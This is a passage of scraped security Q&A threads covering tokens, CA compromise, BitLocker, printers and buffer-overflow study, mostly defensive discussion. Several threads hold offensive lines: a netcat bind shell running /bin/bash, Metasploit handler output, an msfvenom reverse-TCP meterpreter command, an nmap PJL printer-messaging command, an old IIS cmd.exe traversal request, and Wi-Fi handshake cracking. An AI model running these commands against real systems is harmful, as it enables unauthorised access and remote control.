Forensic Purposes is far reaching. There are a huge and scattered number of resources that can be important in a forensic analysis. What's more, the relationship of this data to file contents and time stamps are huge.
It sounds like you're interested in collecting specific logs. Forensic purposes really implies a full system copy or "Image".
A middle ground would be a Triage capture of target subsets. Often this includes recently run executable file names and sometimes snapshots of running network connections or even memory dumps, depending upon your objectives.
There is no simple list short of "everything". You'll need to refine your objective.


Is there a benefit of using stateless JWT over SHA256 hash for API tokens? Does it make sense to use stateless JWT (without persistent storage) over plain SHA256?

Example scenario:

User logs in
User token generated as follows:
a. JWT.encode(userId, 'secret')
or
b. SHA256(userId + 'secret')
Client app sends request with userId and token
Request is verified via:
a. JWT.decode(token, 'secret'), then checking that resulting JWT.userId compared to request userId
or
b. SHA256(userId + 'secret'), then checking that resulting hash compared to request token

JWT allows token expiration, however beyond that I don't see any benefit?

Does it make sense to use stateless JWT (without persistent storage)
  over plain SHA256?

What you're essentially doing with "plain SHA256" is signing the data and sending the data + signature separately. JWT encodes both the signature and the data together, but in both cases you're basically signing the data sending the signature + data.

In essence both a and b are doing fundamentally the same thing.

Having said that, there's several reasons why JWT is superior to the method you've proposed.

Use of HMAC

HMAC addresses some weaknesses of simply hashing data + a secret key:

  For example, one might assume the same security that HMAC provides
  could be achieved with MAC = H(key ∥ message). However, this method
  suffers from a serious flaw: with most hash functions, it is easy to
  append data to the message without knowing the key and obtain another
  valid MAC ("length-extension attack"). The alternative, appending the
  key using MAC = H(message ∥ key), suffers from the problem that an
  attacker who can find a collision in the (unkeyed) hash function has a
  collision in the MAC (as two messages m1 and m2 yielding the same hash
  will provide the same start condition to the hash function before the
  appended key is hashed, hence the final hash will be the same).

http://en.wikipedia.org/wiki/Hash-based_message_authentication_code

Support for public key cryptography

To generate the MAC using SHA256 alone it is necessary for both parties to know the plain-text secret.

This is difficult to maintain securely as:

a. The secret must be stored and recoverable in plain-text format, therefore neither side can store the secret as a salted hash. This is particularly a problem for the verifying / server side in a web application who might need to store secrets for thousands of users.

b. The parties need to communicate the shared secret somehow

JWT supports RSA which is a public-key encryption system. Therefore the signing party needs to secure their private key, but the verifying party (ie. usually the server) only has to know the public key. The public key is public information so it doesn't need to be stored as securely.

Public keys are also easier to share, because it is not necessary to communicate anything that can be used to sign messages (although an attacker could substitute it for their own public key), as opposed to the method without RSA where the secret must be communicated.


What's the benefit of using a specific implementation framework vs using the generic steps presented in most developed security frameworks? Background Information: This post is for some research I’m working on for a course I’m taking at the University of Advancing Technology as a Network Security student. I’m researching some implementation frameworks for security. One article we’re using for reference in the class is https://buildsecurityin.us-cert.gov/bsi/articles/best-practices/deployment/574-BSI.html. One of the implementation frameworks mentioned in this article is called Security Knowledge in Practice or the SKiP method. Now, one of the reasons I chose to look into this one further is because of how the previously mentioned article talked about it. One of the first things the article brings up about this method is vendors and the search for that appliance that does it all. The article makes a note to mention the security implications bringing in a bunch of appliances to do some service for you can have, including introducing their own poorly (sometimes) configured services that introduce more vulnerabilities, only now directly tied into the enterprise security measures. Anyway, I’ve always thought that security should be accomplished by hardening what exists first, before trying to find something that claim it will bring security with it. That said, I have nothing against appliances, though I generally prefer open source solutions as I’m more of a hands-on tech and actually enjoy the DIY aspect that comes with open source. That and the fact I can look at the code myself if need be in order to fix or adapt the solution to my needs.

Question: Now, this assignment is more of a discussion based assignment which doesn’t fit in line with the Q&A type sites out there, so I’m going to try and ask a specific question in order to comply with the posting rules, but anyone who wants to share their experience with implementation frameworks would be most welcome. Now, I have no doubt about the effectiveness of SKiP, but some of it struck me as very similar to most other approaches. Secure what you have and then enter the prepare, detect, respond, and improve cycle that most all security frameworks seem to follow. So my question is how necessary is it to even follow something that’s roughly the same cycle as most other frameworks? Wouldn’t sticking to the basics and keeping it simple work just as well? Granted the cycle has to be learned somewhere, but does it really need a name to make it effective?  Or are these fancy frameworks just ways to appease the higher ups with a step by step process regardless of how cookie cutter it is?

I appreciate any feedback.

You're familiar, I hope, with the first rule of Information Security club; don't roll your own crypto. Turns out that this rule has wider implications; you really shouldn't roll your own security frameworks either.

A well established framework has had a lot of smart people looking at it for gaps, and on a more practical level it's been deployed in the real world a lot and has brought benefits. (I don't actually think SKIP is a well established framework, but that's not really the point to your question.)

Also, it's not a criticism of a framework that it is reminiscent of other frameworks - good security practice is good security practice. SKIP seems to be an attempt to apply a PDCA process to vendor supplied equipment; naturally it's going to look a lot like other frameworks based on PDCA.

In addition, using a standard framework makes it much easier (and hence cheaper) to do external audits, because you can hire an auditor who already knows the framework.


Does it really improve security to update PHP interpreter version without any code changes at all? Our hosting provider wants to update our legacy application server (Plesk).

We usually place older PHP projects (PHP 5.3 - 5.6) there, so they can sit in a stable environment until their unknown EOL.

Now the thing is, our provider wants to remove these old PHP versions for "security reasons". But I'm failing to see, how the removal of available PHP versions increases security (in real life scenarios).

I understand that changing the project codebase may increase security or that a newer PHP version might fix OS (environment) related security issues, but I can't see any attack vector from HTTP to the underlying PHP interpreter.

So, can we say it is "fairly safe" to run an outdated PHP version in an otherwise updated server?

Considering PHP v5.3 and v5.6 are end of life for a while, no more patches, (security) fixes or updates will become available even if security issues are discovered.

Your hosting provider is quite late in removing these PHP versions considering v5.6 is end of life since December 31st, 2018.

  So, can we say it is "fairly safe" to run an outdated PHP version in an otherwise updated server?

No, we can't. There is no reason to continue using outdated software. The software written in PHP < v5.6 should be upgraded to the newer PHP v7.3 standard.


How to find CAPEC items related to a CVE Vulnerabilities with a CVE usually also have a CWE associated with them, but almost never CAPEC. CWE's site also only very rarely points to related CAPEC items.

Is there a way to find a CVE's related CAPEC items? or a mapping from CWE items to CAPEC items?

CAPEC seems very poorly integrated with other security standards, is CAPEC even wildly accepted in the security community? is there an alternative?

The CAPEC schema contains a field - RelatedWeaknessesType or Related Weaknesses (version 3.0) which references one or more CWE ids related to the specific CAPEC entry. From this appropriate mappings to the according CVEs can be established. For example, CVE-2017-7269 is classified under CWE 119, which in turn is related to CAPEC 100.


Can hardware firewalls be infected? If a computer is directly connected to the internet, it is vulnerable to attacks.

So we attach a hardware firewall between the computer and the internet. But doesn't this new setup mean that now our hardware firewall become the one vulnerable to attacks?

If that's the case, wouldn't the hardware firewall itself be infected?

Aren't we just substituting a lamb with a new one?

The main reason for getting hardware firewall is also not because the computer is directly vulnerable to attacks, it's because you need a fast performing device, which is manageable and has the ability to do complex filtering. Getting a hardware firewall for just one computer is a bit silly.

The amount of possible attack vectors is reduced as less various attack surface is present.  A firewall has a lot less applications running than a computer in the first place. Also a firewall which is correctly placed in a network does not have its administrative interfaces (which manage the firewall) facing the internet. These are managed from a seperate, restricted network.

This means that you would need to be able to have some kind of buffer overflow when it checks the incoming connections. This would be possible theoretically but the likelihood is  quite low. I'm not saying impossible, but lower.


Exploit/DoS applications with a 0 width and 0 height image I believe I've read multiple times that many applications can't properly handle  0x0 pixel images, but I can't get a hold of such an article right now.

From what I recall, the vulnerability was mainly used to DoS an application, like an online image editor.

Is that actually used or is it just a theoretical attack?

If so, how does one create a 0x0 pixel graphic?

These type of bugs cause DOS attacks when the image parser or the renderer fails to parse the image. However, its not that only 0x0 or 1x1 images can invoke such situations. Say, a normal file which targets a certain parameter from the parser can lead to similar attacks. its all how the software is processing the image file.

Check this one out:
Cool PDF Image Stream - Buffer Overflow (Metasploit)
The Above vulnerability triggers due to a malformed image file. A good example for your research and yes, these attacks are not theoretical


Why do broken symlinks pose a security threat? I have been given a security specification document that contains some rules about the product I currently work on (docker containers). One states that:

  All broken symlinks must be removed.

My question is, why do broken symlinks pose a security threat?

Please note that the docker containers I am dealing with are linux based.

UPDATE:
The symlinks must be removed from the images/containers not from the host.

The risk really depends on where the symlink is and where it points to. In most cases these are harmless - especially in a docker style setup. An example risk -

In many cases webservers are set only to serve files from a given directory but are allowed to follow symlinks. That directory may have locked down permissions - so its safe to assume the content has not been modified by a compromised process (unless privilege escalation has occurred - and in that case its end game anyway).

Now imagine instead you have a symlink pointing to another file in another location. That file has also been set to the same permission setup - but its parent directory hasn't.

If the file is been deleted and the symlink remains there is a risk. A malicious party may hold permissions to create a file at that location. If they can then now your webserver will happily serve the file completely oblivious to the fact it is malicious.


What's the difference between Comodo Premium and Positive SSL certificates I'm just about to buy a SSL certificate from Comodo, I've doing a research in many CAs, many of them have this kinda premium certificate, and another like positiveSSL, rapidSSL, and instantSSL.

The final price for the same type of certificate is a huge difference, is there any reason for that?

The certificate are the same? for example, a wildcard certificate Comodo Premium costs USD 404/Year the same in PositiveSSL Wildcard page costs USD 149/Year.

Does anyone know if the cert issued are the same, chained and what is different, is it only the warranty?

The $149 Positive SSL is a Domain Validated certificate.

It's a shame that the $404 Comodo Premium Wildcard product page doesn't say the certificate validation type, but according to SSL Shopper, it seems to be an Organization Validated certificate.


Upgrade a ncat bind shell to meterpreter During penetration tests, I am often able to open a Ncat Bind Shell on the victim system (linux), which opens a port that I can then connect to:

nc -l -v -k -e /bin/bash -p 4444

I now want to upgrade this ncat shell to a meterpreter session.
I found this post in the rapid7 community forum that addresses the issue:

https://community.rapid7.com/thread/4508#comment-12539

The given answer is the following:

  Netcat is a completely separate executable that can't be upgraded from within the framework to meterpreter. You can add a user account through the command line, then use psexec to upload and execute the meterpreter binary.

Basically, metasploit will always send a stager first which then downloads the full meterpreter binary, but it cannot interact with the ncat shell directly. The post suggests to simply upload the full meterpreter binary via the ncat shell and then execute it. However, I was not able find such a standalone binary within the framework.

PS: Here is some debug output from the metasploit framework when attempting to upgrade the ncat shell:

msf > use multi/handler
msf exploit(handler) > set payload linux/x64/shell/bind_tcp
payload => linux/x64/shell/bind_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set RHOST 192.168.0.101
RHOST => 192.168.0.3
msf exploit(handler) > run

[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (38 bytes) to 192.168.0.101
[*] Command shell session 1 opened (192.168.0.17:33097 -> 192.168.0.101:4444) at 2017-06-05 10:23:35 +0200

Background session 1? [y/N]  y

msf exploit(handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[-] Shells on the target platform, linux, cannot be upgraded to Meterpreter at this time.

You can generate such an exe with msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe

That's it.


Is Aescrypt a valid tool for encryption or not? I'd like to know if Aescrypt is a valid tool, or if for a very secure protection, the only choice is to use a software like gpg, or similar.

More I've another curiosity, if one doesn't want to use encrypted email with a related software, could it be secure send AES encrypted files, through normal email connection ? Could it be usefull to use a rar AES protected archive, to further protect files ?

Thanks

See this question for some caveats. There is nothing positively wrong which is reported about it, but it seems to use custom format and password-to-key processing, which means that it was not well analyzed. I see no mention of an integrity protection. Therefore I would recommend caution until further analysis.

Assuming that AESCrypt does everything right (including integrity checks), then yes, sending by email files which are protected by a password is fine... provided that you choose strong enough passwords, and that you have a way to convey the password to the intended recipient with all the needed confidentiality. It would not buy you much to use both the innate encryption features of RAR and an additional encryption layer, especially if both use the same password.

Systems which support asymmetric encryption like GnuPG will still make your life easier. You still have to make sure that you have the right public key (the one owned by the recipient), but at least it is a public key so you can transmit it securely with less constraints (you can dictate the hash by phone, but you do not have to fear people who merely spy on the phone line, contrary to speaking a password over the phone).


How do attackers achieve to compromise a CA? There are several posts out there stating that some CAs have been compromised and had given away fraudulent certificates.

Given the fact that keys are stored on a HSM and only the public key is available to others, how can an attacker obtain CA private key? Is there any way an attacker could issue a certificate to an entity, other than obtaining CA private key?

There is no need to get access to the CA's private key in order to get a certificate issued. The CA probably does not have access to the private key either, especially if it was created inside the smartcard or HSM itself.

Instead fraudulent certificates gets issued by the CA because

The attacker makes the CA believe that he is the owner of the domain:
This can be done because of the automatic validation of domain ownership in DV certificates. This validation is usually done by implementing some challenge-response methods using special e-mail accounts, special path of the webserver or DNS records in the owners domain. Compromise is thus possible if the attacker gets access to specific mail accounts in the domain
like in the case of
live.fi.
It can also be done by making the CA believe in a different contact
email for the domain like in case of Comodo OCR
problems.
DV validation can also be tricked if the attacker manages to
compromise the original site to attack webserver path validation or the sites DNS to attack DNS record validation.
Third parties violate usage constraints for CA's issued sub-CA:
This happened for example in the cases of a french sub-CA which was used for SSL interception and issued certificates (among others) for google.com.
Bugs in the CA processes:
like in case of TURKTRUST which accidentally issued sub-CA certificates instead of normal certificates, which then could be used to issue new certificates for arbitrary domains.
Compromise of the CA itself:
This happened in case of DigiNotar where the attacker managed to get deep access into the infrastructure of the CA. The final report (PDF) about this attack points out that it looks like where DigiNotar where having the private key in the smartcards active for automatic transactions, i.e. not every smartcard transaction would have to be explicitly authorized. This probably allowed the attacker to sign it's own certificates without having physical access to the system and without having the private key.


Penetration testing's terms of agreement template My company is going to start to provide penetration testing services pretty soon, in fact, we are just missing the legal aspects of it.

I'm wondering if is there any template which states the most common get-out-of-jail things? Or should we write a custom document for each client? If so, what should include?

SANS has a pretty nice white paper on the subject here.

GIAC also has white paper geared towards managment of pen test which covers some of it here.

I would keep in mind that you may need to have both general and specific legal agreements depending on the scope and offerings you provide. Your focus should be on the laws pertaining to doing an engagement, the risks associated to both you and the client which may come up during an engagement, and having the right personal approving your work.


Distinguishing between tokens and actual PANs for tokens based on reversible cryptographic functions I’m researching a possibility of implementing KEK and DEK servers compliant with PCI-DSS requirements.

PCI Tokenization Guidelines states:
“The tokenization solution should include a mechanism for distinguishing between tokens and actual PANs.”

The document doesn’t specify for which type of token the requirement above is relevant. Am I right thinking that it is NOT relevant for the tokens based on mathematically reversible cryptographic functions?

Thanks

Am I right thinking that it is NOT relevant for the tokens based on
  mathematically reversible cryptographic functions?

You're right.  But you may not want to do it that way.

Tokens are generally isomorphic to card numbers (15-16 digit numeric) because they are supposed to be able to easily replace card numbers in whatever software the recipient uses.

If you were to use tokens that don't look like card numbers, than you've "provided a mechanism for distinguishing between tokens and actual PANs."  4111111111111111 is distinguishable from 057c331e-f538-11e4-b9b2-1697f925ec7b.

But tokens are usually generated by a processor or card brand and handed to a merchant for use instead of card numbers, usually using programmatic interfaces that were designed and specified to communicate 15-16 digit numbers.  The merchant probably already has software, with a database and application logic and everything, that was designed to store card numbers.  When they tokenize, they have to start storing tokens instead of card numbers.  If the tokens look enough like card numbers, then it's usually a simple non-disruptive switch.  For "distinguishing [between these isomophic] tokens and actual PANs", they might use invalid IIN/BIN numbers, fail the Luhn algorithm check, etc. etc.


Can changing a MAC address give an attacker more leverage in a network? Security lessons force us to use limited users (Standard User) on Windows networks.

I found that an administrator  account can change his MAC address from Control Panel\Network and Internet\Network Connections ------> [adapter] ---rclick---> Properties ------> Configure ------> Advanced ------> Network Address ------> Value.  This can most likely be done programmatically too.

Using this technique is it possible for an attacker to impersonate another computer on the network?

Would this essentially make the attacker invisible within the network?  If not, why?

It certainly possible that someone will change their MAC address as part of an attack.

If a system is using the MAC address for identification (e.g., Wi-Fi access), then impersonating the MAC address may allow the attacker to impersonate a real user or at least gain basic access. Additional meaures such as 802.1X, NAC, etc. should be used in such cases.

Within a local network, the MAC address is used to direct network traffic, so impersonating the MAC address of a valid machine may be used in an attack, though it is often not necessary to for eavesdropping and Man in the middle attacks based on the attacker's location on the network.

Also, there are tools one can use to send out arbitrary data packets where the address is just spoofed in the packet.

Changing the MAC would not make a computer "invisible". If a system wants to be invisible, then it has to emit no network traffic. Window's machines by default are always sending out traffic if you just let them sit there, but other operating systems or configurations may not emit any automated network traffic.

If one changes his/her MAC address, and there is another system with the same MAC address, it may be difficult for systems to determine if the traffic is coming from the real or impersonated system. Note that for network security, you would want to test for other factors and fingerprints to distinguish if a system is legitimate, as well as possibly using a VPN, 802.1X, etc.

A more likely scenario is that an attacker will continually change his MAC address to make it more difficult to track activity over time if the MAC address is being used to correlate log activity.


Offline Bruteforce attack against a Bitlockered Windows PC I am currently assessing the security of Bitlocker from the perspective of an offline attack against a stored password (used to secure the Full Disk Encryption key). My assumption is that the password used to decrypt/determine the FDE key has to be stored somehow on the disk, else it would be impossible to determine if the FDE key is correct or not.

My question is, if, say, a laptop was stolen and it was using Bitlocker to secure the password used to unlock the OS volume, how resistant would it be to an offline attack for the purposes of recovering the password? What techniques/algorithms does it use to protect against an attack like this?

Please note, I am less interested in the recovery of the data on the disk or the FDE key. I am purely interested in this on the basis of how resistant the user's password itself is to an offline attack against a skilled attacker in possession of a stolen laptop.

The attack you outline is a fundamental problem for all types of encryption: If you want to use a password as the (source of) the encryption key, the password must have as much entropy as the desired encryption strength, otherwise you are vulnerable to offline brute-forcing.

So yes, if Bitlocker just used the password you entered as the (source of) the key, it would be vulnerable to this attack.

Bitlocker provides multiple authentication mechanisms, which address this problem in different ways.

The recommended mechanism (AFAIK) is to use the computer's Trusted Platform Module (TPM). With TPM authentication (called Transparent operation mode with Bitlocker), the TPM chip stores the Bitlocker key. The TPM is specifically designed to only release that key if  certain password/PIN is provided, and to limit the number of authentication attempts. Therefore a comparably weak password/PIN is enough, because the password cannot be attacked off-line, as it is stored in the TPM.
Another solution is to use USB Key Mode. In that mode, either the key is stored on a USB key (optionally protected by a password), or a special USB device is used which performs secure authentication (similar to a TPM chip). Again, an off-line attack is not possible, because the key is stored on the USB device. However, if the USB device is just a simple storage device, an off-line attack against it is possible (thus it must be stored very securely).

USB Key Mode and TPM can be combined for even better security.

Note that it is possible to use Bitlocker without a TPM chip (though this is apparently not recommended by Microsoft). If you do that, then you are indeed vulnerable to password bruteforcing attacks, so you need a password with sufficient entropy, i.e. at least 128 bit, better 168 bit.

For an extensive discussion of the design choices, security tradeoffs and technology of Bitlocker, see the paper AES-CBC + Elephant diffuser,
A Disk Encryption Algorithm for Windows Vista by Niels Ferguson, available from http://go.microsoft.com/fwlink/?LinkId=80598 .


Secure application data transmission via SMS channel There are mobile banking applications that use SMS channel to communicate with their server. Some of them offer both internet and sms channels which the customer gets to choose from.

While there's much data on secure communication via internet (How to implement TLS, certificate pinning, etc) by OWASP, Enisa, Gartner and other organizations there seems to be lack of guides and tutorials on how to have data transmitted securely over SMS channel.

Several options come to my mind about secure architecture for SMS data transmission:

PGP like system where server's public key is bundled with the application and resides on customers phones. The application uses this key and a symmetric key to encrypt its data.
HTTPS like system where each time the client and the server communicate, they agree on a session key and the data is encrypted using that.

Other solutions where symmetric key is stored or generated on the client side and no public key cryptography is used are generally insecure.

SMS has a limited length so one of our goals in this system has to be keeping the messages as short as possible, what are some ways we can achieve this goal without losing the security of the system. (Does it make the first proposed option (PGP like) more suitable?)

In this scenario the data is encrypted both by the server and the clients, integrity is our concern here too and we want to keep the number/length of transmitted messages as short as possible to minimize round trip time and number of text messages sent.

The TextSecure Messenger (now called Signal) provided encrypted sms based on a public key encryption scheme. However, they dropped the feature a year ago. According to the blogpost, the reasons for dropping the support were the impossibility to do this properly with iPhones and the bad security of SMS in general.

This is of course only one example - but it shows one possible approach to encrypt the content and protect the integrity of SMS messages.

I can't help you with the details of the cryptography involved - but maybe it's worth looking into the documentation and the sourcecode of Textsecure / Signal / Silence (Textsecure fork).


How to use Oauth2 and JWT to secure microservice architecture? We have been investigating proper mechanism to secure microservises that we are going to provide as API endpoints via API manager application.

Fundamentally we need stateless security mechanism like JWT to secure each API endpoint.

We thought to have separate service called "Auth service" to issue tokens and validate them.

We came up with following approach

But it seems every request must go trough Auth Server and then it will become very busy place.Are there any standard mechanism to overcome this situation.We heard about providing separate access token to client instead of original Auth token but have issues with validating the access token from microservice level.Any solutions would be really appreciated.

Thanks in advance.

Why are you saying that every request must go through Auth Server ? Only the first request (login request) until the JWT token is expired is handled by Auth Server. After that your API must be able to validate the JWT claims using the signed part of it.

You should have a short live access token and a long live refresh token. Take a look into this article.


L2TP/IPSec implementation Recently, I've been given the task of thinking of a way to secure communications (financial transactions), but on lower layers than the network one.

The solution would have a server responsible for key generation with traffic transiting through lower layers to multiple clients (payment terminals, PCs, etc)

After reading some documentation, I came to think that the best way to do so would be the use of L2TP/IPSec, which is basically just tunneling the network layer traffic over the link layer.

Is this a good solution?

IPSec is a good solution in terms of security for tunneling traffic between sites, on the other hand you can choose other alternatives based on VPNs depending on your requirements. My suggestions is to read a bit more about it and check what is the best solution for you.


Broken/halfbaked security with this implementation? I'm reading the specification for a commercial product which provides a webservice.The spec goes like this:

The client (a webbrowser) may use https
Client asks server for info --> gives modulus and exponent of his public RSA key
Client asks server for a session --> client creates a random cipher, encrypts with server public key
Client performs a login with username and password which is encrypted with server public key

This looks to me like being prone to a Man-In-The-Middle attack if no https is used, since no verification of the server or client takes place. Additionally only some data from the client is encrypted, nothing from the server.

What do you think about it?

This is roughly the same mechanism as SSL, with the exception that it lacks a verification step for the RSA public key he sends you. SSL has a whole PKI involving certificate authorities and signing in order to ensure that the public key you get actually belongs to the party you're communicating with. If his cipher doesn't include it, then you're definitely susceptible to man-in-the-middle attacks.

And if it does include it, then you're more-or-less using a primitive SSL, in which case you should be using real TLS (version 1.2 if you can swing it) which includes defenses against additional more difficult attacks which a custom-built protocol probably won't have.


Aireplay handshakes, were working now has an error I'm trying to learn to do pen testing and wifi cracking.
I had captured handshakes and begun cracking the handshake a day ago, with the password not being in my dictionary list.
When trying with a new list I received this error.
Invalid packet capture length 1859175202 - corrupted file?

Now whenever I capture the handshake it is coming up with this error.
I have now begun using wifite2 to try and get around this issue. It is not capturing handshakes or deauthing the test wifi point whatsoever - this is relatively simple to do for me when using just airplay / aircrack.
I'm thinking - should I delete the saved handshakes? And where are they held? I had put them in pkg file based on the tutorial on https://www.aircrack-ng.org/doku.php?id=newbie_guide
Thanks in advance,

Load the captured packets into Wireshark, and check if they are valid. If you find some .pcap file corrupted, you can safely delete it. If you already have a valid handshake, you don't need to capture again for testing against another dictionary list, for the same target.
Having a lot of handshakes won't help to speed up the cracking. You need only one valid handshake for each target (which is composed of a minimum of two packets), but you must be sure that the handshake is valid, otherwise you may waste your time. Take a look at this for more details.


Identifying HP Printers with NMAP and then using results in Python/Perl Great write up on network printer hacking at IronGeek's site here for anyone interested http://www.irongeek.com/i.php?page=security/networkprinterhacking.

Here's what I want to do:
Scan the subnet for HP printers with port 9100 open. I know I can use OS fingerprinting and the port argument to filter it down. I want to export the IP addresses matching this criteria to a file or list, and then telnet to every one of those IPs and issue a command. Specifically: @PJL RDYMSG DISPLAY=”YOUR MESSAGE“. This will cause the printers to display a custom ready message.

Advice? Guidance? How would I go about doing this?

This functionality already exists in Nmap, in the pjl-ready-message NSE script. Here's an example usage:

nmap -p 9100 --script pjl-ready-message --script-args pjl_ready_message="your message here" 192.0.2.0/24

The script already checks for a real PJL service before sending the command, so you probably don't have to check for OS fingerprint results.


Developing Small Business Information Security Standards I'm looking for some resources and hoping some of you security experts can help.

Quick Background:
I recently started my first job out of college working at a small organization as a Web Developer. In addition to my development duties I also provide some basic IT support as needed. As I began providing support I quickly realized there were some Information Security concerns within the company.

My Goal:
I have formal education in Information Systems and have a decent understanding of Information Security so I would like to help develop some standards and practices for the organization to implement in order to better protect against future issues.

Question:
Can you recommend any resources for me to utilize as I begin to develop Information Security Standards and Practices for a small business/organization?

Current resources:
A quick search returned this document - http://csrc.nist.gov/publications/nistir/ir7621/nistir-7621.pdf
(I am unfamiliar with NIST but it does seem to cover most things at a basic level.)

to start I suggest you to refer to the SANS top 20 critical controls that every year are released and updated. They are about policies, appliances and best practices that must be applied to reduce the risk of possible incoming threats.

Here you can find an intro about them: https://www.sans.org/critical-security-controls

But I strongly suggest to download the posters. Here the one of 2014:

https://www.sans.org/media/critical-security-controls/Poster_Fall_2014_CSCs_WEB.PDF

Once you become familiar with those, you can easily understand the most common standards that are used in industry depending on the country and the scope, like:

NIST
ISO 27002
PCI

SANS actually maps its TOP20CSC to those standard (look for it in the posters)


Find Buffer Overflows at a target you want to gain access I want to pass my OSCP exam and I am learning with the material I got. I watched the videos and read the pdf but I have a question about buffer overflows.

In the example in the videos, the guy has access to the target system and can so control, debug and restart the application. So he can see what length he should send to cause the buffer overflow and where the EIP register is in the sent string and so on.

But my intention of a buffer overflow is to get access to a system I have not accessed before, isn't it?

So how do I get to know all the relevant data without having access like debug functions before?

As schroeder has already pointed out, to identify buffer overflow vulnerabilities, you'd need to test the application locally with a debugger. It seems to me that you haven't actually gone through the process of learning to identify and debugging possibly vulnerable applications to buffer overflow.

Instead of walking you through the basics of the process here, I will attach what I believe to be excellent starting points, so that you can study and get the 'gist' of buffer overflows on your own.

Understanding what you're working with (ASM)

x86 Assembly Wikibook: Excellent and thorough resource for getting into assembly. If you don't already know how to detect interesting parts of the code, then you should start from this. It might seem daunting at first, but once you get into it, it will seem much clearer.
Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software: Chapter 4 is a brief "Crash-Course" in disassembly, which I consider an absolute must!
Modern C: This is an excellent book (and free) for the C programming language. The author also provides the code examples used in the book.
Pointers in C - A Hands on Approach: This is a great book to understand pointers and memory management in a program.

Getting the right tools

The tools that you'll need are almost always going to be included in VMs used for memory debugging/reverse engineering, but you can always download the ones you prefer. My approach for learning something and understanding it for the first time, is to go "full manual". A good debugger for this is the GNU debugger (GDB). There are other debuggers which are more automated/advanced, but I do not recommend those for beginners, because you learn better by doing it the hard way.
GDB PEDA is an awesome extension for GDB, to make your life easier.
GDB Guide/Cheat sheet

Taking Action

Do stack buffer overflow is really good for a beginner, because it gives you a vulnerable application and there is
also a PDF that guides you through the process. Highly recommended.
Security Exercises: It is another great repository to get you started with buffer overflows, shell-code injection, etc.. It also includes a walk-through.
Vulnhub: This website has all sorts of vulnerable VMs (including ones designed specifically for Buffer Overflows), which you can download and experiment at your own pace.

There is an abundance of tools, guides, VMs and other resources to get you started, and others that can challenge even experienced people. You have to put a lot of effort into this and if something seems a bit unclear, just look for more resources to help you.

If you had access to the source code of an application, then you could just read the source code and see which parts would be vulnerable to a buffer overflow. We usually don't have that and production applications are not compiled with debug symbols (unfortunately). This is where debugging comes in (and reverse-engineering).

You run your executable in a debugger and try to figure things out. Do check the resources I've posted and get ready for a lot of work! And don't give up when things get tough.


Does Linux and Mac OSX have built-in Credential/Password Managers with API access? Does Linux and Mac OSX have built-in Credential/Password Managers with API access like Windows has with its CredMan (CredWrite, etc). It would be preferrable if they could be used without the need to have them installed.

Are there ones for Android and IOS?

Is Windows CredMan the best built-in choice to use on Windows XP and later to securely store credentials or even just strings?

Yes, Apple iOS and Mac OS X have an internal Keychain with Api access, have a look at Apple Dev doc


How does http://un****-us.com/ work? There is this site un**-us.com which supposedly allows you to bypass ISP rules such as content restriction on a particular area. Now , it is well known that routing your traffic through a web proxy yields the same result. But, here this site uses DNS server to unblock you. I do not understand how that is possible. How can having a different DNS server exhibit the same behavior of that of a proxy IP ?

Some very short sighted content-filtering systems rely upon DNS.   The advantage is that its very cheap to build such a content-filtering service,  and consumers are ignorant to the benefit of such a system.

Clearly this is easy to bypass,  8.8.8.8 and 8.8.4.4 are both DNS servers that will provide a uncensored resolution.


MITM and replay attacks prevention I have a client (a mobile app) and a server, the app connects to the server via SSL.

The server uses a self-signed certificate, and the client has a file (I'm not entirely sure what, something to do with bks and hostname verification) that validates the certificate.

From what I've read this should prevent MITM attacks, in which case apart from physical access to the client or physical access/hacking the server means the session token is impossible to get to use in a replay attack.

Because users don't want to want to log in even once a month, the token lasts forever (unless they log out or log in on a new device), I can only think of one way around this, which is with every request a new token is returned, but then an attacker might be able to steal the victims session.

So, questions:

1) Does a self-signed certificate with some sort of validation on the client (assuming neither have been tampered with) protect against MITM attacks?

2) If not, is it possible to prevent replay attacks with persistent session tokens or stop hijacking if tokens are renewed constantly?

I'm not worried about tampering on the client side as the data as although the users data is private it couldn't be used to cause any more damage.

EDIT: To clarify, I mean replay attacks using the session tokens, basically I'm trying to find out if using SSL (to stop attackers from getting the session token) is enough to prevent replay attacks, or whether I need additional validation on the session tokens/clients, and if so what?

Min-in-the-Middle attacks in SSL are prevented by the client "making sure" that it uses the correct, genuine server public key. This "making sure" element is what certificate validation is about. When the server certificate is self-signed (i.e. not issued by a trusted certification authority), then such validation must be done some other way. A simple method, which works, is when the client already knows the server certificate (it is embedded in its own code): the certificate from the server is validated by a simple bit-to-bit comparison. There are many ways to do such a validation, and many ways to botch it, so I cannot say whether your specific method is correct or not.

Replay attacks are a completely different beast, and are unrelated to the self-signedness of the server certificate. To make the story short, replay attacks in SSL don't work, because both client and server include random values in their initial handshake messages (the ClientHello and the ServerHello -- see the handshake overview in the standard) and these random values are used in all subsequent cryptographic operations, preventing the raw reuse of previously captured network traffic (which is what replay attacks are about). The same data (e.g. the same session token) will be reencrypted anew, with a new session key for each new SSL connection.


need to hide server details using apache server whenever there is 404 or 403 error I need need to hide server details using apache server  whenever there is 404 or 403 error.

I tried with the below two changes in httpd.conf file.

    ServerSignature Off
    ServerTokens Prod

However , still Im seeing the server details whenever there is a 404 or 403 error.Do I need to have any module installed for this to work.

Note: Im using Windows 7.

Try creating some custom error response pages. A plain old HTML page that just says something along the following lines:

ERROR 403: You are not authorised to access this resource.

It doesn't even need any formatting.


Understanding an attempt to exploit a webserver Given an attacker connects to a web server on port 80 and issues following command, what is he trying to accomplish?

/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0

I already read this is related to some old IIS vulnerability and I figure this is an attempt to get a shell, execute the dir command and then close the shell, but:

This seems to be useless since the output will be printed to stdout and not returned as a server response?
Also, why is it even possible to request files outside of the www directory? Should this not be forbidden per default?
What are the user privileges such an attacker has when he issues those commands in a self created shell? I guess the privileges of the running server.
Could a firewall prevent this attack and if not, are there other measures which could have prevented this?

Thanks a lot in advance!

This seems to be useless since the output will be printed to stdout and not returned as a server response?

